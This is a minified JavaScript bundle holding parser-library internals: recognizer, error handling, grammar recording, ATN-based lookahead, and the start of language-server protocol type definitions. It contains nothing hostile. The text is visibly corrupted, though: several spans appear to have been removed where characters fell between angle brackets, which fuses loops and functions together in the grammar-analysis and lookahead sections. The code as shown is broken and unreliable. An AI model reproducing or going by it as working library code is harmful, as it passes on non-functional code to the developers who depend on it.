l=o(()=>this.tokenMatcher(this.LA(1),a),"separatorLookAheadFunc");for(;this.tokenMatcher(this.LA(1),a)===!0;)this.CONSUME(a),i.call(this);this.attemptInRepetitionRecovery(this.repetitionSepSecondInternal,[e,a,l,i,ib],l,1280,e,ib)}}repetitionSepSecondInternal(e,r,n,i,a){for(;n();)this.CONSUME(r),i.call(this);this.attemptInRepetitionRecovery(this.repetitionSepSecondInternal,[e,r,n,i,a],n,1536,e,a)}doSingleRepetition(e){let r=this.getLexerPosition();return e.call(this),this.getLexerPosition()>r}orInternal(e,r){let n=this.getKeyForAutomaticLookahead(256,r),i=Bt(e)?e:e.DEF,s=this.getLaFuncFromCache(n).call(this,i);if(s!==void 0)return i[s].ALT.call(this);this.raiseNoAltException(r,e.ERR_MSG)}ruleFinallyStateUpdate(){if(this.RULE_STACK.pop(),this.RULE_OCCURRENCE_STACK.pop(),this.cstFinallyStateUpdate(),this.RULE_STACK.length===0&&this.isAtEndOfInput()===!1){let e=this.LA(1),r=this.errorMessageProvider.buildNotAllInputParsedMessage({firstRedundant:e,ruleName:this.getCurrRuleFullName()});this.SAVE_ERROR(new hb(r,e))}}subruleInternal(e,r,n){let i;try{let a=n!==void 0?n.ARGS:void 0;return this.subruleIdx=r,i=e.apply(this,a),this.cstPostNonTerminal(i,n!==void 0&&n.LABEL!==void 0?n.LABEL:e.ruleName),i}catch(a){throw this.subruleInternalError(a,n,e.ruleName)}}subruleInternalError(e,r,n){throw Bf(e)&&e.partialCstResult!==void 0&&(this.cstPostNonTerminal(e.partialCstResult,r!==void 0&&r.LABEL!==void 0?r.LABEL:n),delete e.partialCstResult),e}consumeInternal(e,r,n){let i;try{let a=this.LA(1);this.tokenMatcher(a,e)===!0?(this.consumeToken(),i=a):this.consumeInternalError(e,a,n)}catch(a){i=this.consumeInternalRecovery(e,r,a)}return this.cstPostTerminal(n!==void 0&&n.LABEL!==void 0?n.LABEL:e.name,i),i}consumeInternalError(e,r,n){let i,a=this.LA(0);throw n!==void 0&&n.ERR_MSG?i=n.ERR_MSG:i=this.errorMessageProvider.buildMismatchTokenMessage({expected:e,actual:r,previous:a,ruleName:this.getCurrRuleFullName()}),this.SAVE_ERROR(new Hp(i,r,a))}consumeInternalRecovery(e,r,n){if(this.recoveryEnabled&&n.name==="MismatchedTokenException"&&!this.isBackTracking()){let i=this.getFollowsForInRuleRecovery(e,r);try{return this.tryInRuleRecovery(e,i)}catch(a){throw a.name===lP?n:a}}else throw n}saveRecogState(){let e=this.errors,r=ln(this.RULE_STACK);return{errors:e,lexerState:this.exportLexerState(),RULE_STACK:r,CST_STACK:this.CST_STACK}}reloadRecogState(e){this.errors=e.errors,this.importLexerState(e.lexerState),this.RULE_STACK=e.RULE_STACK}ruleInvocationStateUpdate(e,r,n){this.RULE_OCCURRENCE_STACK.push(n),this.RULE_STACK.push(e),this.cstInvocationStateUpdate(r)}isBackTracking(){return this.isBackTrackingStack.length!==0}getCurrRuleFullName(){let e=this.getLastExplicitRuleShortName();return this.shortRuleNameToFull[e]}shortRuleNameToFullName(e){return this.shortRuleNameToFull[e]}isAtEndOfInput(){return this.tokenMatcher(this.LA(1),yo)}reset(){this.resetLexerState(),this.subruleIdx=0,this.isBackTrackingStack=[],this.errors=[],this.RULE_STACK=[],this.CST_STACK=[],this.RULE_OCCURRENCE_STACK=[]}}});var ES,ype=N(()=>{"use strict";C1();Yt();E1();js();ES=class{static{o(this,"ErrorHandler")}initErrorHandler(e){this._errors=[],this.errorMessageProvider=Ft(e,"errorMessageProvider")?e.errorMessageProvider:ms.errorMessageProvider}SAVE_ERROR(e){if(Bf(e))return e.context={ruleStack:this.getHumanReadableRuleStack(),ruleOccurrenceStack:ln(this.RULE_OCCURRENCE_STACK)},this._errors.push(e),e;throw Error("Trying to save an Error which is not a RecognitionException")}get errors(){return ln(this._errors)}set errors(e){this._errors=e}raiseEarlyExitException(e,r,n){let i=this.getCurrRuleFullName(),a=this.getGAstProductions()[i],l=k1(e,a,r,this.maxLookahead)[0],u=[];for(let f=1;f<=this.maxLookahead;f++)u.push(this.LA(f));let h=this.errorMessageProvider.buildEarlyExitMessage({expectedIterationPaths:l,actual:u,previous:this.LA(0),customUserDescription:n,ruleName:i});throw this.SAVE_ERROR(new fb(h,this.LA(1),this.LA(0)))}raiseNoAltException(e,r){let n=this.getCurrRuleFullName(),i=this.getGAstProductions()[n],a=w1(e,i,this.maxLookahead),s=[];for(let h=1;h<=this.maxLookahead;h++)s.push(this.LA(h));let l=this.LA(0),u=this.errorMessageProvider.buildNoViableAltMessage({expectedPathsPerAlt:a,actual:s,previous:l,customUserDescription:r,ruleName:this.getCurrRuleFullName()});throw this.SAVE_ERROR(new ub(u,this.LA(1),l))}}});var SS,vpe=N(()=>{"use strict";sb();Yt();SS=class{static{o(this,"ContentAssist")}initContentAssist(){}computeContentAssist(e,r){let n=this.gastProductionsCache[e];if(xr(n))throw Error(`Rule ->${e}<- does not exist in this grammar.`);return oS([n],r,this.tokenMatcher,this.maxLookahead)}getNextPossibleTokenTypes(e){let r=ea(e.ruleStack),i=this.getGAstProductions()[r];return new nS(i,e).startWalking()}}});function pb(t,e,r,n=!1){AS(r);let i=ma(this.recordingProdStack),a=Si(e)?e:e.DEF,s=new t({definition:[],idx:r});return n&&(s.separator=e.SEP),Ft(e,"MAX_LOOKAHEAD")&&(s.maxLookahead=e.MAX_LOOKAHEAD),this.recordingProdStack.push(s),a.call(this),i.definition.push(s),this.recordingProdStack.pop(),_S}function KYe(t,e){AS(e);let r=ma(this.recordingProdStack),n=Bt(t)===!1,i=n===!1?t:t.DEF,a=new Dn({definition:[],idx:e,ignoreAmbiguities:n&&t.IGNORE_AMBIGUITIES===!0});Ft(t,"MAX_LOOKAHEAD")&&(a.maxLookahead=t.MAX_LOOKAHEAD);let s=z2(i,l=>Si(l.GATE));return a.hasPredicates=s,r.definition.push(a),Ae(i,l=>{let u=new Pn({definition:[]});a.definition.push(u),Ft(l,"IGNORE_AMBIGUITIES")?u.ignoreAmbiguities=l.IGNORE_AMBIGUITIES:Ft(l,"GATE")&&(u.ignoreAmbiguities=!0),this.recordingProdStack.push(u),l.ALT.call(this),this.recordingProdStack.pop()}),_S}function Tpe(t){return t===0?"":`${t}`}function AS(t){if(t<0||t>bpe){let e=new Error(`Invalid DSL Method idx value: <${t}> + Idx value must be a none negative value smaller than ${bpe+1}`);throw e.KNOWN_RECORDER_ERROR=!0,e}}var _S,xpe,bpe,wpe,kpe,jYe,CS,Epe=N(()=>{"use strict";Yt();ps();tb();Vp();Up();js();pS();_S={description:"This Object indicates the Parser is during Recording Phase"};Object.freeze(_S);xpe=!0,bpe=Math.pow(2,8)-1,wpe=Pf({name:"RECORDING_PHASE_TOKEN",pattern:Zn.NA});ju([wpe]);kpe=Qu(wpe,`This IToken indicates the Parser is in Recording Phase + See: https://chevrotain.io/docs/guide/internals.html#grammar-recording for details`,-1,-1,-1,-1,-1,-1);Object.freeze(kpe);jYe={name:`This CSTNode indicates the Parser is in Recording Phase + See: https://chevrotain.io/docs/guide/internals.html#grammar-recording for details`,children:{}},CS=class{static{o(this,"GastRecorder")}initGastRecorder(e){this.recordingProdStack=[],this.RECORDING_PHASE=!1}enableRecording(){this.RECORDING_PHASE=!0,this.TRACE_INIT("Enable Recording",()=>{for(let e=0;e<10;e++){let r=e>0?e:"";this[`CONSUME${r}`]=function(n,i){return this.consumeInternalRecord(n,e,i)},this[`SUBRULE${r}`]=function(n,i){return this.subruleInternalRecord(n,e,i)},this[`OPTION${r}`]=function(n){return this.optionInternalRecord(n,e)},this[`OR${r}`]=function(n){return this.orInternalRecord(n,e)},this[`MANY${r}`]=function(n){this.manyInternalRecord(e,n)},this[`MANY_SEP${r}`]=function(n){this.manySepFirstInternalRecord(e,n)},this[`AT_LEAST_ONE${r}`]=function(n){this.atLeastOneInternalRecord(e,n)},this[`AT_LEAST_ONE_SEP${r}`]=function(n){this.atLeastOneSepFirstInternalRecord(e,n)}}this.consume=function(e,r,n){return this.consumeInternalRecord(r,e,n)},this.subrule=function(e,r,n){return this.subruleInternalRecord(r,e,n)},this.option=function(e,r){return this.optionInternalRecord(r,e)},this.or=function(e,r){return this.orInternalRecord(r,e)},this.many=function(e,r){this.manyInternalRecord(e,r)},this.atLeastOne=function(e,r){this.atLeastOneInternalRecord(e,r)},this.ACTION=this.ACTION_RECORD,this.BACKTRACK=this.BACKTRACK_RECORD,this.LA=this.LA_RECORD})}disableRecording(){this.RECORDING_PHASE=!1,this.TRACE_INIT("Deleting Recording methods",()=>{let e=this;for(let r=0;r<10;r++){let n=r>0?r:"";delete e[`CONSUME${n}`],delete e[`SUBRULE${n}`],delete e[`OPTION${n}`],delete e[`OR${n}`],delete e[`MANY${n}`],delete e[`MANY_SEP${n}`],delete e[`AT_LEAST_ONE${n}`],delete e[`AT_LEAST_ONE_SEP${n}`]}delete e.consume,delete e.subrule,delete e.option,delete e.or,delete e.many,delete e.atLeastOne,delete e.ACTION,delete e.BACKTRACK,delete e.LA})}ACTION_RECORD(e){}BACKTRACK_RECORD(e,r){return()=>!0}LA_RECORD(e){return A1}topLevelRuleRecord(e,r){try{let n=new fs({definition:[],name:e});return n.name=e,this.recordingProdStack.push(n),r.call(this),this.recordingProdStack.pop(),n}catch(n){if(n.KNOWN_RECORDER_ERROR!==!0)try{n.message=n.message+` + This error was thrown during the "grammar recording phase" For more info see: + https://chevrotain.io/docs/guide/internals.html#grammar-recording`}catch{throw n}throw n}}optionInternalRecord(e,r){return pb.call(this,dn,e,r)}atLeastOneInternalRecord(e,r){pb.call(this,Bn,r,e)}atLeastOneSepFirstInternalRecord(e,r){pb.call(this,Fn,r,e,xpe)}manyInternalRecord(e,r){pb.call(this,zr,r,e)}manySepFirstInternalRecord(e,r){pb.call(this,_n,r,e,xpe)}orInternalRecord(e,r){return KYe.call(this,e,r)}subruleInternalRecord(e,r,n){if(AS(r),!e||Ft(e,"ruleName")===!1){let l=new Error(` argument is invalid expecting a Parser method reference but got: <${JSON.stringify(e)}> + inside top level rule: <${this.recordingProdStack[0].name}>`);throw l.KNOWN_RECORDER_ERROR=!0,l}let i=ma(this.recordingProdStack),a=e.ruleName,s=new fn({idx:r,nonTerminalName:a,label:n?.LABEL,referencedRule:void 0});return i.definition.push(s),this.outputCst?jYe:_S}consumeInternalRecord(e,r,n){if(AS(r),!KO(e)){let s=new Error(` argument is invalid expecting a TokenType reference but got: <${JSON.stringify(e)}> + inside top level rule: <${this.recordingProdStack[0].name}>`);throw s.KNOWN_RECORDER_ERROR=!0,s}let i=ma(this.recordingProdStack),a=new Ar({idx:r,terminalType:e,label:n?.LABEL});return i.definition.push(a),kpe}};o(pb,"recordProd");o(KYe,"recordOrProd");o(Tpe,"getIdxSuffix");o(AS,"assertMethodIdxIsValid")});var DS,Spe=N(()=>{"use strict";Yt();d1();js();DS=class{static{o(this,"PerformanceTracer")}initPerformanceTracer(e){if(Ft(e,"traceInitPerf")){let r=e.traceInitPerf,n=typeof r=="number";this.traceInitMaxIdent=n?r:1/0,this.traceInitPerf=n?r>0:r}else this.traceInitMaxIdent=0,this.traceInitPerf=ms.traceInitPerf;this.traceInitIndent=-1}TRACE_INIT(e,r){if(this.traceInitPerf===!0){this.traceInitIndent++;let n=new Array(this.traceInitIndent+1).join(" ");this.traceInitIndent <${e}>`);let{time:i,value:a}=Zx(r),s=i>10?console.warn:console.log;return this.traceInitIndent time: ${i}ms`),this.traceInitIndent--,a}else return r()}}});function Cpe(t,e){e.forEach(r=>{let n=r.prototype;Object.getOwnPropertyNames(n).forEach(i=>{if(i==="constructor")return;let a=Object.getOwnPropertyDescriptor(n,i);a&&(a.get||a.set)?Object.defineProperty(t.prototype,i,a):t.prototype[i]=r.prototype[i]})})}var Ape=N(()=>{"use strict";o(Cpe,"applyMixins")});function LS(t=void 0){return function(){return t}}var A1,ms,_1,Gi,mb,gb,js=N(()=>{"use strict";Yt();d1();nde();Up();b1();Jde();cP();ape();dpe();ppe();mpe();gpe();ype();vpe();Epe();Spe();Ape();cb();A1=Qu(yo,"",NaN,NaN,NaN,NaN,NaN,NaN);Object.freeze(A1);ms=Object.freeze({recoveryEnabled:!1,maxLookahead:3,dynamicTokensEnabled:!1,outputCst:!0,errorMessageProvider:Zu,nodeLocationTracking:"none",traceInitPerf:!1,skipValidations:!1}),_1=Object.freeze({recoveryValueFunc:o(()=>{},"recoveryValueFunc"),resyncEnabled:!0});(function(t){t[t.INVALID_RULE_NAME=0]="INVALID_RULE_NAME",t[t.DUPLICATE_RULE_NAME=1]="DUPLICATE_RULE_NAME",t[t.INVALID_RULE_OVERRIDE=2]="INVALID_RULE_OVERRIDE",t[t.DUPLICATE_PRODUCTIONS=3]="DUPLICATE_PRODUCTIONS",t[t.UNRESOLVED_SUBRULE_REF=4]="UNRESOLVED_SUBRULE_REF",t[t.LEFT_RECURSION=5]="LEFT_RECURSION",t[t.NONE_LAST_EMPTY_ALT=6]="NONE_LAST_EMPTY_ALT",t[t.AMBIGUOUS_ALTS=7]="AMBIGUOUS_ALTS",t[t.CONFLICT_TOKENS_RULES_NAMESPACE=8]="CONFLICT_TOKENS_RULES_NAMESPACE",t[t.INVALID_TOKEN_NAME=9]="INVALID_TOKEN_NAME",t[t.NO_NON_EMPTY_LOOKAHEAD=10]="NO_NON_EMPTY_LOOKAHEAD",t[t.AMBIGUOUS_PREFIX_ALTS=11]="AMBIGUOUS_PREFIX_ALTS",t[t.TOO_MANY_ALTS=12]="TOO_MANY_ALTS",t[t.CUSTOM_LOOKAHEAD_VALIDATION=13]="CUSTOM_LOOKAHEAD_VALIDATION"})(Gi||(Gi={}));o(LS,"EMPTY_ALT");mb=class t{static{o(this,"Parser")}static performSelfAnalysis(e){throw Error("The **static** `performSelfAnalysis` method has been deprecated. \nUse the **instance** method with the same name instead.")}performSelfAnalysis(){this.TRACE_INIT("performSelfAnalysis",()=>{let e;this.selfAnalysisDone=!0;let r=this.className;this.TRACE_INIT("toFastProps",()=>{Jx(this)}),this.TRACE_INIT("Grammar Recording",()=>{try{this.enableRecording(),Ae(this.definedRulesNames,i=>{let s=this[i].originalGrammarAction,l;this.TRACE_INIT(`${i} Rule`,()=>{l=this.topLevelRuleRecord(i,s)}),this.gastProductionsCache[i]=l})}finally{this.disableRecording()}});let n=[];if(this.TRACE_INIT("Grammar Resolving",()=>{n=Qde({rules:kr(this.gastProductionsCache)}),this.definitionErrors=this.definitionErrors.concat(n)}),this.TRACE_INIT("Grammar Validations",()=>{if(mr(n)&&this.skipValidations===!1){let i=Zde({rules:kr(this.gastProductionsCache),tokenTypes:kr(this.tokensMap),errMsgProvider:Gl,grammarName:r}),a=Hde({lookaheadStrategy:this.lookaheadStrategy,rules:kr(this.gastProductionsCache),tokenTypes:kr(this.tokensMap),grammarName:r});this.definitionErrors=this.definitionErrors.concat(i,a)}}),mr(this.definitionErrors)&&(this.recoveryEnabled&&this.TRACE_INIT("computeAllProdsFollows",()=>{let i=rde(kr(this.gastProductionsCache));this.resyncFollows=i}),this.TRACE_INIT("ComputeLookaheadFunctions",()=>{var i,a;(a=(i=this.lookaheadStrategy).initialize)===null||a===void 0||a.call(i,{rules:kr(this.gastProductionsCache)}),this.preComputeLookaheadFunctions(kr(this.gastProductionsCache))})),!t.DEFER_DEFINITION_ERRORS_HANDLING&&!mr(this.definitionErrors))throw e=rt(this.definitionErrors,i=>i.message),new Error(`Parser Definition Errors detected: + ${e.join(` +------------------------------- +`)}`)})}constructor(e,r){this.definitionErrors=[],this.selfAnalysisDone=!1;let n=this;if(n.initErrorHandler(r),n.initLexerAdapter(),n.initLooksAhead(r),n.initRecognizerEngine(e,r),n.initRecoverable(r),n.initTreeBuilder(r),n.initContentAssist(),n.initGastRecorder(r),n.initPerformanceTracer(r),Ft(r,"ignoredIssues"))throw new Error(`The IParserConfig property has been deprecated. + Please use the flag on the relevant DSL method instead. + See: https://chevrotain.io/docs/guide/resolving_grammar_errors.html#IGNORING_AMBIGUITIES + For further details.`);this.skipValidations=Ft(r,"skipValidations")?r.skipValidations:ms.skipValidations}};mb.DEFER_DEFINITION_ERRORS_HANDLING=!1;Cpe(mb,[fS,gS,bS,TS,kS,wS,ES,SS,CS,DS]);gb=class extends mb{static{o(this,"EmbeddedActionsParser")}constructor(e,r=ms){let n=ln(r);n.outputCst=!1,super(e,n)}}});var _pe=N(()=>{"use strict";ps()});var Dpe=N(()=>{"use strict"});var Lpe=N(()=>{"use strict";_pe();Dpe()});var Rpe=N(()=>{"use strict";FO()});var Ff=N(()=>{"use strict";FO();js();tb();Up();E1();uP();b1();C1();QO();ps();ps();Lpe();Rpe()});function qp(t,e,r){return`${t.name}_${e}_${r}`}function Ope(t){let e={decisionMap:{},decisionStates:[],ruleToStartState:new Map,ruleToStopState:new Map,states:[]};nXe(e,t);let r=t.length;for(let n=0;nPpe(t,e,s));return N1(t,e,n,r,...i)}function cXe(t,e,r){let n=ia(t,e,r,{type:$f});zf(t,n);let i=N1(t,e,n,r,Wp(t,e,r));return uXe(t,e,r,i)}function Wp(t,e,r){let n=Zr(rt(r.definition,i=>Ppe(t,e,i)),i=>i!==void 0);return n.length===1?n[0]:n.length===0?void 0:fXe(t,n)}function Bpe(t,e,r,n,i){let a=n.left,s=n.right,l=ia(t,e,r,{type:rXe});zf(t,l);let u=ia(t,e,r,{type:Ipe});return a.loopback=l,u.loopback=l,t.decisionMap[qp(e,i?"RepetitionMandatoryWithSeparator":"RepetitionMandatory",r.idx)]=l,Di(s,l),i===void 0?(Di(l,a),Di(l,u)):(Di(l,u),Di(l,i.left),Di(i.right,a)),{left:a,right:u}}function Fpe(t,e,r,n,i){let a=n.left,s=n.right,l=ia(t,e,r,{type:tXe});zf(t,l);let u=ia(t,e,r,{type:Ipe}),h=ia(t,e,r,{type:eXe});return l.loopback=h,u.loopback=h,Di(l,a),Di(l,u),Di(s,h),i!==void 0?(Di(h,u),Di(h,i.left),Di(i.right,a)):Di(h,l),t.decisionMap[qp(e,i?"RepetitionWithSeparator":"Repetition",r.idx)]=l,{left:l,right:u}}function uXe(t,e,r,n){let i=n.left,a=n.right;return Di(i,a),t.decisionMap[qp(e,"Option",r.idx)]=i,n}function zf(t,e){return t.decisionStates.push(e),e.decision=t.decisionStates.length-1,e.decision}function N1(t,e,r,n,...i){let a=ia(t,e,n,{type:JYe,start:r});r.end=a;for(let l of i)l!==void 0?(Di(r,l.left),Di(l.right,a)):Di(r,a);let s={left:r,right:a};return t.decisionMap[qp(e,hXe(n),n.idx)]=r,s}function hXe(t){if(t instanceof Dn)return"Alternation";if(t instanceof dn)return"Option";if(t instanceof zr)return"Repetition";if(t instanceof _n)return"RepetitionWithSeparator";if(t instanceof Bn)return"RepetitionMandatory";if(t instanceof Fn)return"RepetitionMandatoryWithSeparator";throw new Error("Invalid production type encountered")}function fXe(t,e){let r=e.length;for(let a=0;a{"use strict";Vm();ER();Ff();o(qp,"buildATNKey");$f=1,ZYe=2,Npe=4,Mpe=5,R1=7,JYe=8,eXe=9,tXe=10,rXe=11,Ipe=12,yb=class{static{o(this,"AbstractTransition")}constructor(e){this.target=e}isEpsilon(){return!1}},D1=class extends yb{static{o(this,"AtomTransition")}constructor(e,r){super(e),this.tokenType=r}},vb=class extends yb{static{o(this,"EpsilonTransition")}constructor(e){super(e)}isEpsilon(){return!0}},L1=class extends yb{static{o(this,"RuleTransition")}constructor(e,r,n){super(e),this.rule=r,this.followState=n}isEpsilon(){return!0}};o(Ope,"createATN");o(nXe,"createRuleStartAndStopATNStates");o(Ppe,"atom");o(iXe,"repetition");o(aXe,"repetitionSep");o(sXe,"repetitionMandatory");o(oXe,"repetitionMandatorySep");o(lXe,"alternation");o(cXe,"option");o(Wp,"block");o(Bpe,"plus");o(Fpe,"star");o(uXe,"optional");o(zf,"defineDecisionState");o(N1,"makeAlts");o(hXe,"getProdType");o(fXe,"makeBlock");o(xP,"tokenRef");o(dXe,"ruleRef");o(pXe,"buildRuleHandle");o(Di,"epsilon");o(ia,"newState");o(bP,"addTransition");o(mXe,"removeState")});function TP(t,e=!0){return`${e?`a${t.alt}`:""}s${t.state.stateNumber}:${t.stack.map(r=>r.stateNumber.toString()).join("_")}`}var xb,M1,zpe=N(()=>{"use strict";Vm();xb={},M1=class{static{o(this,"ATNConfigSet")}constructor(){this.map={},this.configs=[]}get size(){return this.configs.length}finalize(){this.map={}}add(e){let r=TP(e);r in this.map||(this.map[r]=this.configs.length,this.configs.push(e))}get elements(){return this.configs}get alts(){return rt(this.configs,e=>e.alt)}get key(){let e="";for(let r in this.map)e+=r+":";return e}};o(TP,"getATNConfigKey")});function gXe(t,e){let r={};return n=>{let i=n.toString(),a=r[i];return a!==void 0||(a={atnStartState:t,decision:e,states:{}},r[i]=a),a}}function Vpe(t,e=!0){let r=new Set;for(let n of t){let i=new Set;for(let a of n){if(a===void 0){if(e)break;return!1}let s=[a.tokenTypeIdx].concat(a.categoryMatches);for(let l of s)if(r.has(l)){if(!i.has(l))return!1}else r.add(l),i.add(l)}}return!0}function yXe(t){let e=t.decisionStates.length,r=Array(e);for(let n=0;nKu(i)).join(", "),r=t.production.idx===0?"":t.production.idx,n=`Ambiguous Alternatives Detected: <${t.ambiguityIndices.join(", ")}> in <${wXe(t.production)}${r}> inside <${t.topLevelRule.name}> Rule, +<${e}> may appears as a prefix path in all these alternatives. +`;return n=n+`See: https://chevrotain.io/docs/guide/resolving_grammar_errors.html#AMBIGUOUS_ALTERNATIVES +For Further details.`,n}function wXe(t){if(t instanceof fn)return"SUBRULE";if(t instanceof dn)return"OPTION";if(t instanceof Dn)return"OR";if(t instanceof Bn)return"AT_LEAST_ONE";if(t instanceof Fn)return"AT_LEAST_ONE_SEP";if(t instanceof _n)return"MANY_SEP";if(t instanceof zr)return"MANY";if(t instanceof Ar)return"CONSUME";throw Error("non exhaustive match")}function kXe(t,e,r){let n=ga(e.configs.elements,a=>a.state.transitions),i=Uae(n.filter(a=>a instanceof D1).map(a=>a.tokenType),a=>a.tokenTypeIdx);return{actualToken:r,possibleTokenTypes:i,tokenPath:t}}function EXe(t,e){return t.edges[e.tokenTypeIdx]}function SXe(t,e,r){let n=new M1,i=[];for(let s of t.elements){if(r.is(s.alt)===!1)continue;if(s.state.type===R1){i.push(s);continue}let l=s.state.transitions.length;for(let u=0;u0&&!LXe(a))for(let s of i)a.add(s);return a}function CXe(t,e){if(t instanceof D1&&nb(e,t.tokenType))return t.target}function AXe(t,e){let r;for(let n of t.elements)if(e.is(n.alt)===!0){if(r===void 0)r=n.alt;else if(r!==n.alt)return}return r}function Hpe(t){return{configs:t,edges:{},isAcceptState:!1,prediction:-1}}function Upe(t,e,r,n){return n=qpe(t,n),e.edges[r.tokenTypeIdx]=n,n}function qpe(t,e){if(e===xb)return e;let r=e.configs.key,n=t.states[r];return n!==void 0?n:(e.configs.finalize(),t.states[r]=e,e)}function _Xe(t){let e=new M1,r=t.transitions.length;for(let n=0;n0){let i=[...t.stack],s={state:i.pop(),alt:t.alt,stack:i};NS(s,e)}else e.add(t);return}r.epsilonOnlyTransitions||e.add(t);let n=r.transitions.length;for(let i=0;i1)return!0;return!1}function OXe(t){for(let e of Array.from(t.values()))if(Object.keys(e).length===1)return!0;return!1}var RS,Gpe,bb,Wpe=N(()=>{"use strict";Ff();$pe();zpe();NR();CR();Hae();Vm();Lw();ak();uk();PR();o(gXe,"createDFACache");RS=class{static{o(this,"PredicateSet")}constructor(){this.predicates=[]}is(e){return e>=this.predicates.length||this.predicates[e]}set(e,r){this.predicates[e]=r}toString(){let e="",r=this.predicates.length;for(let n=0;nconsole.log(n))}initialize(e){this.atn=Ope(e.rules),this.dfas=yXe(this.atn)}validateAmbiguousAlternationAlternatives(){return[]}validateEmptyOrAlternatives(){return[]}buildLookaheadForAlternation(e){let{prodOccurrence:r,rule:n,hasPredicates:i,dynamicTokensEnabled:a}=e,s=this.dfas,l=this.logging,u=qp(n,"Alternation",r),f=this.atn.decisionMap[u].decision,d=rt(cS({maxLookahead:1,occurrence:r,prodType:"Alternation",rule:n}),p=>rt(p,m=>m[0]));if(Vpe(d,!1)&&!a){let p=Jr(d,(m,g,y)=>(Ae(g,v=>{v&&(m[v.tokenTypeIdx]=y,Ae(v.categoryMatches,x=>{m[x]=y}))}),m),{});return i?function(m){var g;let y=this.LA(1),v=p[y.tokenTypeIdx];if(m!==void 0&&v!==void 0){let x=(g=m[v])===null||g===void 0?void 0:g.GATE;if(x!==void 0&&x.call(this)===!1)return}return v}:function(){let m=this.LA(1);return p[m.tokenTypeIdx]}}else return i?function(p){let m=new RS,g=p===void 0?0:p.length;for(let v=0;vrt(p,m=>m[0]));if(Vpe(d)&&d[0][0]&&!a){let p=d[0],m=Qr(p);if(m.length===1&&mr(m[0].categoryMatches)){let y=m[0].tokenTypeIdx;return function(){return this.LA(1).tokenTypeIdx===y}}else{let g=Jr(m,(y,v)=>(v!==void 0&&(y[v.tokenTypeIdx]=!0,Ae(v.categoryMatches,x=>{y[x]=!0})),y),{});return function(){let y=this.LA(1);return g[y.tokenTypeIdx]===!0}}}return function(){let p=wP.call(this,s,f,Gpe,l);return typeof p=="object"?!1:p===0}}};o(Vpe,"isLL1Sequence");o(yXe,"initATNSimulator");o(wP,"adaptivePredict");o(vXe,"performLookahead");o(xXe,"computeLookaheadTarget");o(bXe,"reportLookaheadAmbiguity");o(TXe,"buildAmbiguityError");o(wXe,"getProductionDslName");o(kXe,"buildAdaptivePredictError");o(EXe,"getExistingTargetState");o(SXe,"computeReachSet");o(CXe,"getReachableTarget");o(AXe,"getUniqueAlt");o(Hpe,"newDFAState");o(Upe,"addDFAEdge");o(qpe,"addDFAState");o(_Xe,"computeStartState");o(NS,"closure");o(DXe,"getEpsilonTarget");o(LXe,"hasConfigInRuleStopState");o(RXe,"allConfigsInRuleStopStates");o(NXe,"hasConflictTerminatingPrediction");o(MXe,"getConflictingAltSets");o(IXe,"hasConflictingAltSet");o(OXe,"hasStateAssociatedWithOneAlt")});var Ype=N(()=>{"use strict";Wpe()});var Xpe,kP,jpe,MS,tn,Gr,IS,Kpe,EP,Qpe,Zpe,Jpe,e0e,SP,t0e,r0e,n0e,OS,I1,O1,CP,P1,i0e,AP,_P,DP,LP,RP,a0e,s0e,NP,o0e,MP,Tb,l0e,c0e,u0e,h0e,f0e,d0e,p0e,m0e,PS,g0e,y0e,v0e,x0e,b0e,T0e,w0e,k0e,E0e,S0e,C0e,BS,A0e,_0e,D0e,L0e,R0e,N0e,M0e,I0e,O0e,P0e,B0e,F0e,$0e,IP,OP,z0e,G0e,V0e,U0e,H0e,q0e,W0e,Y0e,X0e,PP,Ge,BP=N(()=>{"use strict";(function(t){function e(r){return typeof r=="string"}o(e,"is"),t.is=e})(Xpe||(Xpe={}));(function(t){function e(r){return typeof r=="string"}o(e,"is"),t.is=e})(kP||(kP={}));(function(t){t.MIN_VALUE=-2147483648,t.MAX_VALUE=2147483647;function e(r){return typeof r=="number"&&t.MIN_VALUE<=r&&r<=t.MAX_VALUE}o(e,"is"),t.is=e})(jpe||(jpe={}));(function(t){t.MIN_VALUE=0,t.MAX_VALUE=2147483647;function e(r){return typeof r=="number"&&t.MIN_VALUE<=r&&r<=t.MAX_VALUE}o(e,"is"),t.is=e})(MS||(MS={}));(function(t){function e(n,i){return n===Number.MAX_VALUE&&(n=MS.MAX_VALUE),i===Number.MAX_VALUE&&(i=MS.MAX_VALUE),{line:n,character:i}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&Ge.uinteger(i.line)&&Ge.uinteger(i.character)}o(r,"is"),t.is=r})(tn||(tn={}));(function(t){function e(n,i,a,s){if(Ge.uinteger(n)&&Ge.uinteger(i)&&Ge.uinteger(a)&&Ge.uinteger(s))return{start:tn.create(n,i),end:tn.create(a,s)};if(tn.is(n)&&tn.is(i))return{start:n,end:i};throw new Error(`Range#create called with invalid arguments[${n}, ${i}, ${a}, ${s}]`)}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&tn.is(i.start)&&tn.is(i.end)}o(r,"is"),t.is=r})(Gr||(Gr={}));(function(t){function e(n,i){return{uri:n,range:i}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&Gr.is(i.range)&&(Ge.string(i.uri)||Ge.undefined(i.uri))}o(r,"is"),t.is=r})(IS||(IS={}));(function(t){function e(n,i,a,s){return{targetUri:n,targetRange:i,targetSelectionRange:a,originSelectionRange:s}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&Gr.is(i.targetRange)&&Ge.string(i.targetUri)&&Gr.is(i.targetSelectionRange)&&(Gr.is(i.originSelectionRange)||Ge.undefined(i.originSelectionRange))}o(r,"is"),t.is=r})(Kpe||(Kpe={}));(function(t){function e(n,i,a,s){return{red:n,green:i,blue:a,alpha:s}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&Ge.numberRange(i.red,0,1)&&Ge.numberRange(i.green,0,1)&&Ge.numberRange(i.blue,0,1)&&Ge.numberRange(i.alpha,0,1)}o(r,"is"),t.is=r})(EP||(EP={}));(function(t){function e(n,i){return{range:n,color:i}}o(e,"create"),t.create=e;function r(n){let i=n;return Ge.objectLiteral(i)&&Gr.is(i.range)&&EP.is(i.color)}o(r,"is"),t.is=r})(Qpe||(Qpe={}));(function(t){function e(n,i,a){return{label:n,textEdit:i,additionalTextEdits:a}}o(e,"create"),t.create=e;function r(n){let i=n;return 